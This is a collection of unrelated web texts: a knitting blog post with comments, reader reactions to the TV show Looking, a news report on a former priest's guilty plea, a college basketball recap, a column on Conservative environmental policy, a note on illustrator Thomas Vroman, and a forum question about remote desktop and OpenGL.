A sign?
Well, it was late. So I cast on kind of a new design that would be easy and quick to knit.
An infinity scarf in the gorgeous Plucky Knitter Merino Alpaca Silk. I cast on and worked a good inch or two before I realized that it was twisted. Ugh. I thought I had even double-checked. And so I frogged it and then thought....is this a sign? Should I wait on this and work on something else?
I cast on and ensured it wasn't twisted and knit a row. Then I did some blog reading and read Stephanie's post. She talks about wrapping up her knitting for the year. Finishing what she had hoped or intended to finish, but being realistic too. Another sign.
Then I thought...well, I've got three solid days. The new designs and gifts will get done. I know that. But the other stuff, well it will just keep getting pushed to the back-burner, lowest-project-on-the-totem-pole kind of thing.
So I've decided to finish two projects. Or at least make a solid effort to try. Both for me. Both pure enjoyment, no deadline/design knitting.
The BFF Traveling Pont Neuf Scarf in BMFA BFL in colorway True Blood. I knit a few rows of this last night while I was getting a pedicure and thought...I need to finish this. I love it and the color is fabulous and I don't have anything this color and I need to send a certain someone the rest of the yarn. So this is the first project I hope to finish.
And then there are my handspun Fightin' Irish (a gift from ilikecake) Cotty socks. I have one done. I started these at the beginning of the football season. I'd love to at least make good progress on them Friday during Notre Dame's Sun Bowl appearance! Go Irish!!
So there you have it. I'm going to see how productive I can be and wrap up these projects! Any projects you are trying to finish up before the new year?
Oh, and are any of you thinking of doing the make your own Stash Sock Club similar to the Yarn Harlot's like last year? She described it here. I had wanted to last year and it just didn't happen, but I definitely want to do it this year. My sock knitting hasn't been as productive as in years past, partly due to designing, but there are soooooo many patterns I want to knit. And we know I have the stash for it! That's on my to-do list for this week too.
Happy Knitting!
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14 comments:
- Zonda said...
hmm...I see I'm not the only one twisting an eternity scarf today...or yesterday ;) I know what you mean..finish a Wip or start a new one..always a dilemma, but you've picked 2 good ones to finish...good luck!
- December 29, 2010 at 4:47:00 AM PST
- Jen said...
Lots of good WIPs there!
Yesterday I found myself trying to finish up knitting things I told myself all year I should do! :)
Happy New Year!
- December 29, 2010 at 4:56:00 AM PST
- dianne said...
I'm trying to finish a pair of Cedar Creek socks in STR Hollyday. I'm on the foot of the 2nd sock, so I'm pretty sure I'll finish. I'm also going to try to finish a FLS. I doubt I'll finish it, but I hope to at least make a big dent in it. I want to start KnitQuest's Flint from her sweater club, but I'm making myself finish the FLS first!
Love the Pont Neuf in True BloodRed!
- December 29, 2010 at 5:23:00 AM PST
- Lindsay said...
Good for you finishing up stuff! I'm semi-trying to do the same, though I have to admit that the stuff I'm trying to finish up are items I decided to start at the last minute. I am sooo in for stash knitting sock club. This year has been lacking in the knitting department for me, but not so much in the buying, buying, buying!lol
- December 29, 2010 at 6:22:00 AM PST
- Channon said...
I finished the vet's infinity scarf on Sunday, and am working to finish another scarf now. Then I suppose I can tackle a certain lace scarf... and we'll see how it goes from there.
- December 29, 2010 at 6:36:00 AM PST
- Mya said...
I am seriously considering doing the sock stash down club for myself this year. I've got to get some of this stuff knit up!
- December 29, 2010 at 7:51:00 AM PST
- Batty said...
If you finish these now, you get to cast on something new in the new year, and won't that be exciting!
I'm doing an actual sock club in 2011, but I'm thinking of doing a Project From Stash Club. Just knitting socks from stash isn't making the stash shrink. If I knit a bigger project a month, I may get some actual shrinkage.
- December 29, 2010 at 7:58:00 AM PST
- Scrabblequeen said...
Yes, yes, and yes! Yes, I'm finishing up some UFO's. One little Owl Vest down this morning! Yes, I want to do a sock club this year. My friend did one for the last half of the year and it was great. My turn. And Yes, it was a sign. Knit for you for a brief moment. You're good for the other things later. :-)
- December 29, 2010 at 1:21:00 PM PST
- mhardersen said...
I am going to do a self-imposed 'Knit' Club. I have packaged all my yarn in zipper bags with a little tag of what pattern to use. I then put all the patterns in a binder. So I will just pick a bag and locate the already orgnaized pattern and get to work! I thought this was a great approach to getting some of those must knit patterns done! Happy New Year!
- December 29, 2010 at 2:12:00 PM PST
- Guinifer said...
I actually did two kits a month last year and by the end of the year - I had 25 pair!
- December 29, 2010 at 2:20:00 PM PST
oh goody goody goody! GREAT idea!
I have gifts to finish up myself...
formulating a plan too!
- December 29, 2010 at 2:23:00 PM PST
- neknitsandbeads said...
While I would LOVE to finish my WIP's..,but they are still WIP's for a reason. A chevron scarf that is just not ending and my first cable project of which I need smoother gliding cable needles for
So, into 2011 WIP pile they go!
- December 29, 2010 at 3:41:00 PM PST
- Neuroknitter said...
I still think I can finisih a pair of socks, a shawl and two hats by New Year's Eve! Hah!!
Good luck with your finishing!! That Pont Neuf is going to be stunning in that color!!
Happy New Year!! xo
- December 29, 2010 at 4:19:00 PM PST
Good luck - nice to read on and see your scarf is coming along nicely.
I decided to do something similar and powered through the rest of a cardigan that had been languishing in the UFO pile. Feels great- even though it's a winter cardigan and it's summer here in the Southern Hemisphere :)
- December 31, 2010 at 2:04:00 AM PST


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"It's a minority trap," continued Lee. "When you have a piece that showcases a community, there's this identity factor where if you're showing a certain kind of queerness, you're not honoring what queerness is. There's a sense their queerness feels threatened by a show that is normalizing it."
In response to criticism that the show is "too slow-paced" or even the dreaded "boring," staff writer Tanya Saracho says:
"The B-word is what they keep calling us; you know, 'boring,' " said Saracho. "I would rather they hate it than call us boring."
Staff writer John Hoffman took on the topic further, saying:
"Not to be in defense of boring, but that is very intentional," Hoffman said. "I think that has become part of the show. [The episodes] do feel like little half-hour indie movies."
These half-hour indie movies are in the vein of Looking director Andrew Haigh's indie feature, Weekend.
Saracho also noted that the show's title, Looking, was the final choice after Homos and Golden Boys were considered.
What's your take on the Looking criticism and the response from the team behind the show??
Do you feel like the show's hitting its stride or is something still missing? Looking forward to more Looking?
I think you hit the nail on the head, in fact. I was trying very hard to figure out why none of this show actually appealed to me personally, a gay man of "a certain age", and I finally realized that I had completely outgrown that world, or maybe been left behind by it, depending on how one chooses to view it.
Still looking for a reason to continue to watch it. Giving it six shows, then it's gone. I watch TV to get out of a normal sane life. If that's the intent to show me my life (although I'm in Long Beach, not SF), I'd rather just go for a walk for coffee, and watch real life unfold at the shop :P
If the show didn't have a gay theme, would it be as interesting? I think the only reason this show has received the publicity it has, is due to the gay characters. I don't think it would have any audience without the gay ties. Sadly this show is lacking in the development of the characters and and the interesting story line that keeps the viewer wanting to come back for more. I kept watching, and hoping for it to get better, but have finally given up.
It's SO GOOD! My boyfriend and I are obssed with it and it only keeps getting better and better. After we watch it we want more and more! Perhaps the second season should do the same thing as Orange is the New Black - come out as an entire series and get creative so people don't get too "bored" with it.
But my verdict is 5 Stars, A+, Big Thumbs up. Right up my indie loving, slow-paced alley!
Thanks for making such a real, influential and awesome show (with hotties of all varieties to boot!).
ps. Love the blonde woman in it. Shes the funniest.
I love this show. The slow pace, characters, locations and over all tone are a nice change from a lot of crap that is out there. I feel the characters are real, not stereotypes and I look forward to seeing where it goes. I mean how boring can a show be in 30 min? I'll take Looking over the self absorbed, non-likeable twits on Girls any day.
After watching the first four episodes, I have to admit, it's boring. I want to like it, but it just kind of lays there, flat. Remember what made Queer as Folk so good? It was compelling, edgy, and faced national issues head-on. It was un-apologetic with it's sexual frankness. Looking, well, so far it's more like Snoozing. Having lived in San Francisco, I found gay life in the city to be unlike anywhere else in this country. San Francisco is kind of a vacuum, so maybe that's why the show doesn't ring with many. I think the show would have been more interesting if it were located in a more midwestern city/town, where everyday life for gay men is MUCH different, and more relatable to a great many people. Unless you live, or have lived in San Francisco, it's kind of alienating.
I love the show. It doesn't just showcase the typical white stereotype of gays like queer as folk like gays are suppose to go clubbing every night in Babylon and continuously fuck random men. I mean, if you want to watch people talk smack about each other, there's a reality show for that. If you want more gay fucking, then go watch gay porn.
I think it's definitely boring.
Dom and Doris are the only interesting and sympathetic characters that I want to watch.
They mistake they made, is that TV and movies are not the same thing. In television, you're inviting people into your home, and those people better be interesting. A movie, like a novel, can be an interesting slice of life and look at normalcy, but a TV show better turn up the drama and the fun.
My Thing is If You Dont Want To See It Then Dont Its That Simple Also I too Like The Simplicity Of The Show At Least We Have Another Show On Tv Because Even On Prime time People Are Still Not Ready For "Us" Sean Ssaves The World Has Been Cancelled ,The Normal ,Partners , Its Ashame And Even Most Weren't Happy With Glee And Its Queerness Soooooo....Cant Please Everyone All The time !!!!!!!!!
The real problem with this show is poor writing. Every time they try to write for the LGBT experience, they fail to see that gay men are not all Greenwich Village/Castro District types, cruising for sex, incapable of relationships or struggling to keep them together. We don't all have vast amounts of money, we don't all care about fashion and 24/7 gym runs. We aren't all ageist, we certainly are not all GQ motel types.
Some of us have families, aging parents we must care for, 60 hour a week jobs we struggle with to pay the bills, student loans, mortgages, etc. Some of us fall in love and spend the next 20, 30 or 40 years in monogamous commited relationships. We are all the same as everyone else, so stop focusing on a small, vapid, and insignificant cross section of our community and start seeing us as just REAL people.
To be fair, it's called "Looking" not "Monogamous," so that's probably why it's not about 40 year relationships.
Have you seen it? The characters aren't very concerned with fashion, aren't models, and don't seem that wealthy. I think the concern of most viewers is that it's "too real," so much so that it's mundane.
It has its moments. The first episode was VERY dull but the show picked up after that, My problem is with Jonathan Groff. Yes he's very hot but he's not that good of an actor and his character is extremely annoying. Also does he keep having to use the word "f**k" in every sentence? I don't talk that way and neither do my friends.
i find it boring. Peoples lives are boring, but a tv show shouldnt be. We want something I escape in, not be bored while watching tv. The main character is a nit wit and i just dont find anything good about just watching people walk around the city all day. i still watch hoping its going to be set up, but even if a show isnt about anything, ala seinfeld, it can still be funny or interesting. And this is not
The show does well at showing friendships and new relationships very well. Problem: it's too bloody short! You can't build an engaging storyline in 28 minutes with any of the characters and the cliffhangers aren't enough to make me say, "Ooh goody! Next week will be the bomb!"
I don't know if the writers/producers are intentionally drifting from what Queer As Folk did 15 years earlier, but they could learn something from its formula: one hour please!!
I think the people who find the show boring spend too much time watching sensationalized reality tv. It's like they're expecting every tv show to be produced by Michael Bay, and include explosions, car chases, and gun fights every 5 minutes.
Looking has witty dialog and realistic situations. Not all the characters are immediately likeable, but that's part of the charm. Not all our friends are endearing every second of the day.
If Looking isn't for you, go back to your Kardashians and your "Real" Housewives. I'll take the real guys on Looking any day.
I like the shows characters but feel like I'm on the freeway and there is an accident, I don't want to look but I do. The characters are interesting individually but the show is a sleeper and a bore and I agree with what a majority of my colleagues and friends are saying. I will just say there is work to do and hopefully the writers will get in their groove
I think the critics who complain that the show is "boring" may have difficulty recognizing or coming to terms with the moments of monotony in their own lives. The show is reflective of a wider gay reality and clearly disinterested in selling the "fabulous" myth that we're all so desperate to believe.


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A former priest has admitted committing 21 sex offences on children as young as six, including two girls in Buxton, a court heard.
Francis Paul Cullen, who served at St Anne's Catholic Church, on Terrace Road, between 1978 and 1987, pleaded guilty to the charges, which involve five boys and two girls in Derbyshire and Nottinghamshire, at Derby Crown Court on Monday. The 85-year-old, who has been on the run for more than 20 years since he skipped bail in 1991, was extradited from Tenerife last year.
The charges include 15 counts of indecent assault between January 1, 1957 and March 24, 1991 on children aged between six and 14, and five counts of indecency with three boys aged between eight and 13 between July 2, 1960 and March 24, 1991.
Cullen, who is currently in HMP Nottingham, also admitted one charge of attempted buggery on a 14-year-old boy between August 6, 1969 and August 5, 1970.
Detective Constable Ed Mellor, who investigated allegations made by two women in Buxton, said: "I hope that his guilty plea brings a collective closure to the whole community and to the victims who, for their own reasons, have chosen not to come forward."
He will be sentenced on March 24.
Dublin-born Cullen, who was ordained in 1953, also worked in Scunthorpe, Leicester, Alfreton, Derby and Nottingham, until he retired in 1991.
DC Ed Mellor added: "More than anything I want to express my gratitude to the victims. Their determination in seeking justice and their strength throughout this traumatic experience has been overwhelming. This result will hopefully allow them to move on with their lives."
Father Andrew Cole, spokesman for the Diocese of Nottingham which covers Buxton, said: "We are pleased that he has taken responsibility for his terrible crimes and pleaded guilty to the 21 offences with which he was charged.
"We have been working closely with the police throughout the preparation of this case, both before and after Cullen's arrest in Spain and return to the UK, and have encouraged them to bring him to justice and are grateful to them.
"I would like to offer our sympathy to those who have been affected by this tragedy in any way and assure them that we will do whatever we can to support them.
"I also wish to thank Cullen's victims for their bravery in coming forward after many years of silence. Nothing can take away the horror of what happened to them, but I hope that Monday's verdict will help them in some small way to find peace.
"The abuse of children is abhorrent, by whomsoever it is perpetrated, as is any attitude of mind which somehow tolerates it. The Catholic Church takes the safeguarding of children and vulnerable adults extremely seriously, and it is our hope and expectation that no child or vulnerable adult should ever suffer at the hands of others.
"We will continue to work with the police and other statutory authorities whenever allegations of abuse arise and will ensure that our churches and parishes are safe and welcoming for all members of the community."
Detective Constable Matt Goodwin said: "The assistance I've received from the Catholic Safeguarding Board and the Catholic Diocese of Nottingham has been invaluable.
"They have willingly given me access to their records and acted on information they've received about Father Cullen. They made their own inquiries to trace Cullen after they were alerted to his alleged behaviour in 2005.
"Cullen's abhorrent behaviour has had a significant impact on his victims. If anyone else wants to report any abuse against them they should be confident that we will take their allegations seriously and carry out thorough investigations."


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Pigram hit a 15-foot jumper with 27 seconds to play to give the Bucs a three-point lead and added a free throw moments later to seal the win. Pigram was stellar again, finishing with 21 points.
Pigram was just one of four Bucs in double-figure scoring. Freshman Mike Smith (
The game was typical of ETSU and Lipscomb with both teams taking the others best shots before bouncing back with a classic finish.
The first half played true to form for all the prior match-ups between these schools. Lipscomb (18-13) held the advantage most of the way, but ETSU (24-8) continually had the answer.
For the second straight game, the Bisons jumped out early behind the play of guard Brian Fisk. He scored six of his team's first eight. Also like the night before, someone else followed up on Fisk's success. Eddie Ard scored seven of the next nine.
Still, the Bucs were running stride for stride with an inside attack. Andrew Reed (Port
An unusual four-point play from Michael Teller sparked an 8-0 Bison's run and gave them their largest lead of the game at 25-18. Fisk and Ard helped keep the lead for a while with 3-pointers, but the Bucs made their move before the break.
Smith started the rally with a rebound dunk, Nuckles and Smith canned 3s and Pigram, silent for most of the half, came to life with seven quick points - including a 3-pointer at the halftime buzzer to tie the game at 35.
That momentum carried over into the second half. The Bucs came out roaring with Pigram converting a three-point play on a drive to the basket. Nuckles hit a jumper and he and Reed turned in back-to-back three-point plays. The big run continued through the first 10 minutes, ending when Dequan Twilley nailed a jumper to give ETSU a 63-51 lead.
True to form, the Bisons rallied. After a dreadful 0-for-9 shooting effort in the first half, Trey Williams caught fire. At one point, he scored 13 of his team's 16. Included were three long-range 3-pointers.
Lipscomb kept crawling closer. Jason Hopkins, Ard and Fisk all scored down the stretch. The Bisons had a chance to pull even with exactly 1:00 left when Fisk rebounded a Williams miss and stuck it back in while getting fouled. Fisk missed the free throw, however, setting up Pigram's heroics.
Fisk led Lipscomb with 20 points. Williams chipped in 19 points, while Ard added 16 points and seven rebounds.
Saturday's championship game is set for
General Notes
� ETSU sweeps the season series with the Bisons. Typical of all four previous A-Sun match-ups between these two schools, this game came down to final seconds.
� With the win, ETSU moves closer to claiming a conference championship on its home court. This hasn't happened in the A-Sun since 2001.
� The No.1 seed has now won seven straight against the No. 4 seed.
� ETSU and Lipscomb have different ideas of their relative history. The ETSU media guide gives ETSU a 23-9 all-time advantage against the Bisons. Lipscomb chooses to count just the games played since the the Bisons jumped to Division I. The record in that case is 3-2 in favor of ETSU.
ETSU Notes
� With two assists against the Bisons, Tayloe Taylor joined Dequan Twillley and Courtney Pigram with more than 100 assists for the season. It's the first time in school history this has happened.
� ETSU has now won 16 of its last 17 games. The 24 wins are the best since 2003-04.
� ETSU is 107-35 inside
� Brad Nuckles inched closer to 1,000 career points. With 12 on Friday, he now has 990 with at least two games left to play.
Lipscomb Notes
� This was Lipscomb's first loss in the A-Sun semifinals. The Bisons reached the championship game last year.
� Lipscomb is 12-1 when recording at least eight steals. They had just three swipes and forced only nine turnovers against ETSU.
� The Bisons also fell short of the magic number of assists. When reaching 15, they are 9-1. They had just 13 against the Bucs.
� The Bisons fall to 5-2 when shooting 45 percent or better. They hit 45.6 against the Bucs, but allowed ETSU to hit half their shots (29-for-58).


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The year after David Cameron became Tory party leader, he did something party leaders normally never do: he spoke at a fringe meeting of his party conference, such was his passion for the subject under discussion. I remember it well, since I asked him to do the debate and chaired the event.
The issue was the environment. Cameron disarmed an audience filled with green activists, impressing them as he batted back questions.
This was, after all, the cause so central to his drive to decontaminate the Conservative party image; remember those husky pictures, the green logo, the exhortations to "Vote Blue, Go Green".
Within days of taking office, Cameron declared his coalition would be "the greenest government ever". For all the froth of his detractors he can confidently back up this claim, the tone set from the start with support for the 10:10 campaign. Labour argued it was impossible to meet the target yet Whitehall exceeded it; within one year, it cut emissions by 13.8%.
It is logical for Conservatives to set the pace on the environment; it is about conservation of resources, after all, while reducing Whitehall's carbon footprint cut government spending with lower energy bills. Margaret Thatcher, a scientist by training, was admirably far-sighted on this subject, warning 24 years ago of the danger greenhouse gases posed to the planet. By painting his party green, Cameron was true to her legacy.
With each passing day, evidence grows that Lady Thatcher was right to raise the alarm. Most worrying was the extent of Arctic ice melt this summer, outpacing even the most dire predictions. September was the 331st consecutive month in which the globe's temperature exceeded last century's average; the odds of this happening by chance are greater than the number of stars in the universe.
Given this rising tide of evidence and the overwhelming strength of scientific opinion, it is strange the Conservatives appear to be developing cold feet. There is a growing internal backlash against the green agenda, one threatening to torpedo both the public trust in politicians and the party's stuttering modernisation project.
Most visible was the promotion of Owen Paterson to the environment portfolio – a man hailed by ConservativeHome editor Tim Montgomerie as the only senior British Tory who could easily win election as a US Republican. If that is not enough evidence against him for this job, he claims to be a "realist" on global warming, opposes wind farms and wants to cancel green energy plans.
After hearing Paterson's risible speech to party conference earlier this month – which failed to mention climate change – one green-minded minister said to me: "Well, at least the battle lines are clear now." But his was not the only alarming move: John Hayes, who has also opposed wind farms, was moved to energy minister while Peter Lilley, one of the most hardline sceptics, was appointed last week to the Commons energy and climate change committee.
Meanwhile the chancellor George Osborne is leading attempts to cut subsidies for renewable energies, abandon decarbonisation targets and embark on a huge expansion of gas power plants and shale gas development. The dispute inside the coalition over the forthcoming energy bill is so heated there has already been one special meeting of the "quad" group of senior ministers, with another pencilled in for this week.
To his credit, Cameron mentioned green issues three times in his conference speech – unlike Ed Miliband, who despite being a former climate change minister ignored them in his own party address. But the prime minister is supporting Osborne on the energy bill, hoping a ban or tax on plastic bags will underline sufficiently their green credentials (although even this minor measure is causing concern that it might be seen as adding to the cost of living).
Ill-informed loudmouths have long opposed policies to tackle climate change. Sadly, their views appear to be gaining ascendancy, such is the Tory leadership's desire to appease the right, combined with the fear of appearing elitist by endorsing measures that might affect the cost of living. "It has become a totemic issue," said one senior Tory. "Either you are a tough Essex man in touch with the people or you are dismissed as an effete metropolitan toff."
The environment is far from the first concern of focus groups, although there is clear support for green policies. But if you believe humans are causing climate change, there can be no issue of comparable importance. Regardless, the debate has moved on in recent years: it is no longer about shackling business but about supporting a booming green economy that employs more people than the car and telecom industries combined, with huge export potential to the fastest-growing parts of the world.
China alone is investing £1 trillion in the low-carbon economy over the next five years; little wonder foreign secretary William Hague has emerged as an unlikely cabinet champion. Meanwhile such is the political prevarication, global energy giants are threatening to withdraw massive investment in Britain. To be anti-green now is to be anti-growth.
Cameron has not given a speech on the environment since taking office. Yet along with health, this was the issue most personally identified with his transformation of the Tories. We saw the damage caused by bungled health reforms; imagine the dismay and distrust caused by shooting badgers, stopping wind farms, supporting airport expansion and strangling the green economy.
There is a danger the short-term search for favourable headlines blows away any long-term sense of strategy. This is why the prime minister must demonstrate his continuing passion for green politics, which played such a prominent role in making him his party's first prime minister for a generation. Whether politically, economically or scientifically, it would be senseless and self-defeating to give ground on this crucial cause.


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"We can see how much history Vroman had to learn"
I took a second look through the April '56 issue of Collier's in which the series "The American Tradition" began and found this photo of Tom Vroman,
along with this short passage:
"Thomas Vroman, the artist who will do a decorative painting for each of the articles in The American Tradition, says, "For the painting of Lincoln, I had to do a lot of research to find accurate material on such matters as the burning of Richmond, the Capitol Building, Fort Brady, Generals Lee and Grant, uniforms and ordnance of the time and John Wilkes Booth, who was left-handed, you know."
No, we didn't know, and on studying his painting, we can see how much history Vroman had to learn."
And you can see the entire article, along with full size versions of these pieces in my Thomas Vroman Flickr set.
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I have a headless machine in the room that I access with RDP (because of all the remote clients I've tried, RDP is the most responsive and feature-complete (i.e. audio, shared drives and clipboard and grabbing key combinations) on a gigabit LAN between windows machines). It has one major downside though: it creates a weird virtual display that doesn't allow, for example, OpenGL support. My current workaround is to start a TightVNC session, fire up Blender and then take over the session with remote desktop.
So my question is: is there some magical mirror driver (at least that's what they call it for VNC) thingy I can use to run e.g. Blender without making a prior remote connection?
Alternate question: is there another remote desktop program that offers both the advantages of Microsoft's RDP and full GPU support? Solutions that require a third party, e.g. teamviewer, get a huge penalty (because of that), but if they perform better than RDP, I might consider it. Solutions that require Linux get a hugerer penalty.
Mirror drivers for win10? Or alternative to RDP?
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